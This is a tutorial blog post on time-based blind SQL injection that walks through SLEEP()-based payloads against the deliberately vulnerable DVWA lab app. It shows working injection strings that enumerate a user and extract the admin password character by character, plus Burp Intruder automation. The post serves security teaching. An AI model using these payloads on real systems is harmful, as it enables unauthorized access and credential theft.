Friday, 5 January 2024

Understanding Types of SQL Injection Attacks - Part 3

Types of SQL Injection Attacks (Part 2)-full.html

Recap
Hello! Previously, we looked at the Boolean-based approach, which is one of the techniques under the Inferential SQL Injection article. We are going to continue further to explore another type of technique that is generally used in Inferential SQL Injection, Time-based.


Let us refresh a bit what is Inferential SQL injection is about.

Inferential SQL injection
Inferential SQL injection, commonly known as blind SQL injection, occurs when the attacker analyses server responses and behavioral patterns after injecting specific payloads. Unlike in-band attacks, no data directly returned by the web application to the attacker, which defines why it is called “blind” attacks.

The two most common techniques of inferential (blind) SQL injection are:

  1. Boolean-based (covered in the previous article)
  2. Time-based

Now, let’s dig in what is Time-based technique.


Time-based
In time-based SQL injection, the attacker sends a crafted query, prompting the database to delay its response. Generally, a prolonged delay indicates a TRUE, while an immediate response indicates a FALSE. This could be different based on the situations and type of payloads used.

As an example, we will use a similar query like in the Boolean-based; utilising IF() function:

SELECT IF(1=1,SLEEP(5),'ERROR')

Still remember how the function works?

IF(_condition_, _value_if_true_, _value_if_false_)

The _condition_ is set to 1=1 which evaluates to TRUE, so the function will execute the _value_if_true_, which in this case has been set to SLEEP(5). This initiates a deliberate delay of 5 seconds using the SLEEP function. This delay serves as a distinctive marker for a TRUE.


Now, let us take a look on examples using DB Fiddle.

A normal response will be executed within 1ms (observe the “Execution time”)

What would happen if we injected with SLEEP() function? The application response will be delayed on how many seconds the SLEEP() function set before it loads the content.

SELECT @@version and SLEEP(5);

Observe the execution time is 5001ms = 5 seconds + 1 miliseconds

So, why do we need to use a SLEEP() function (or other similar function) to invoke the delay? Remember, we are facing a situation where no visible response is returned to us. Hence, we need to trigger an indicator to assist us to determine if the query is actually executed, and a delay response by the server is one of the ways.

How we could weaponised this condition to assist us in exfiltrating information through SQL Injection exploitation? Let’s dig it further using the following example:

SELECT IF((SELECT COUNT(*) FROM staff) = 7,SLEEP(5),'ERROR');

The above SQL query verifies if the condition (SELECT COUNT(*) FROM staff) = 7 is TRUE. The COUNT() function returns the number of records returned by a select query. Hence, if the number of the records within the staff table is correct, the SLEEP(5) function will be executed and the application response will be delayed for 5 seconds. Otherwise, the ERROR will appear.

The result shows the execution time is 5001ms (5 seconds), means we found the correct number of records.

Let us take a look what would happen if the condition is set to FALSE.

SELECT IF((SELECT COUNT(*) FROM staff) = 1,SLEEP(5),'ERROR');

The query response immediately and returned the ERROR to indicates that the query evaluates to FALSE. Here the execution time is 0ms (0 second).

Do note that:

  • In time-based context, the execution time is what we need to observe:
    a. Delay response, can indicates the query is TRUE.
    b. Immediate response, can indicates the query is FALSE.

Wait what? That’s so confusing. Does that means we can set the delay on FALSE too? You guessed it right! Let’s look the following examples and observe the execution time.

SELECT IF((SELECT COUNT(*) FROM staff) = 7,'TRUE',SLEEP(5));

Why? Remember that we are using IF() function. In IF() function, it evaluates the condition and will execute whatever we included as TRUE and FALSE.

The following are examples of SQL functions (in MySQL) that are generally used to invoke the delay response in time-based approach:

SLEEP()
BENCHMARK()

Now, let’s shift our focus to a practical example from Damn Vulnerable Web Application (DVWA).
Resources: https://github.com/digininja/DVWA.

Scenario: Blind SQL injection with time delays

The application requires an input to verify whether the user ID is valid or invalid. In the database, there is a table named users with username and password columns. To solve this, we need to find the password of administrator using time-based SQL injection.

We will utilise Burp Suite’s Repeater to intercept and modify requests easily. To start, let’s test the input field with both a valid and an invalid user ID.

Valid user ID, id=1

Invalid User ID, id=100

In a Time-based SQL injection, the response does not matter but the execution time is. Most of the times, a prolonged execution time indicates TRUE, while a short execution time indicates FALSE. However, this does not entirely true, depending on how we use our payloads.

In this article, we will follow the common approach where the SLEEP() is use for TRUE, while none for FALSE.

Simplified version:
longer execution time  = TRUE 
shorter execution time = FALSE

Now, let’s check if the input is vulnerable to time-based SQL injection. We will merge our payloads with the valid user ID to confirm the execution of our injections.

1' AND IF(1=1, SLEEP(2), 0) -- 

Result: TRUE . Observe the response time is 2011 millis

A FALSE response occurs if the outer condition is not met. For example, 1=2 always evaluates to FALSE, so the inner condition SLEEP(2) will not be executed.

1' AND IF(1=2, SLEEP(2), 0) -- 

Result: FALSE . Observe the response time is 2 millis

Next, we will check whether the user administrator exists in the database.

1' AND IF((SELECT COUNT(*) FROM users WHERE username='administrator') = 1, SLEEP(2), 0) -- 

Result: FALSE :(


How about a user admin ?

1' AND IF((SELECT COUNT(*) FROM users WHERE username='admin') = 1, SLEEP(2), 0) -- 

Result: TRUE Nice!

Now that we have identified there is a user with a username is admin, which potentially an administrator account, let’s proceed to uncover the password. Begin with the length of the password.

1' AND IF((SELECT LENGTH(password) FROM users WHERE username='admin') > 20, SLEEP(2), 0) -- 

Result: FALSE . There is no delay. This means the password’s length is not greater than 20 characters.

Does that means the length is 19? Let’s try it out.

1' AND IF((SELECT LENGTH(password) FROM users WHERE username='admin') = 19, SLEEP(2), 0) -- 

Result: TRUE . Gotcha!

We determined that the password is 19-characters long. Now, let’s find the first character of the password.

1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') > 's', SLEEP(2), 0) -- 

Result: FALSE . Hmm…so the first character is not over the character ‘s’


Let’s confirm if the first character is actually ‘s’.

1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 's', SLEEP(2), 0) -- 

Result: TRUE . Gotcha!


Now, we are moving to the second character of the password. We attempted to see if the character starts with a character before ‘o’.

1' AND IF((SELECT SUBSTRING(password,2,1) FROM users WHERE username='admin') < 'o', SLEEP(2), 0) -- 

Result: FALSE . Aha! So the character must be ‘o’ or beyond it.

id=1' AND IF((SELECT SUBSTRING(password,2,1) FROM users WHERE username='admin') = 'u', SLEEP(2), 0) -- 

Result: TRUE . We guessed it right this time. So the second character is ‘u’.

It is time consuming to do this again and again. Let’s speed up the process with Burp Suite’s Intruder. Start by sending the request to Intruder and select Cluster bomb as the attack type. Clear the payload position with Clear § and click Add § at the location where payloads will be injected.

Next, go to the ‘Payload’ tab and configure the payloads as follows:

For the first payload set, we choose numerical payloads. In the settings, we defined the range as 1 to 19 to match the discovered password length, with an increment step of 1.

For the second payload set, we choose a brute-force approach. In the settings, we set the minimum and maximum lengths to 1, while the characters remained at the default settings.

Click ‘Start attack’ and patiently await its completion, Once done, click on ‘Columns’ and enable the ‘Response completed’ option to view the results’ execution time.

Sort the results by searching for responses completed in 2000ms (or more) and rearrange the characters in the correct order.

Once sorted, we can see the password for the user admin is superstrongpassword. Let’s try to validate if the password is correct by login as the admin with the username and password that we have discovered.

username : admin
password : superstrongpassword

Upon clicking the ‘Login’, we have successfully login as admin. Nice!

That concludes part 3 of the “Understanding Types of SQL Injection Attacks” series, that completed the Inferential SQL Injection type. We hope you have gained valuable insights from this post. Stay tuned for next parts.

Thank you.

References:

Author: Alysha from RE:HACK

Share: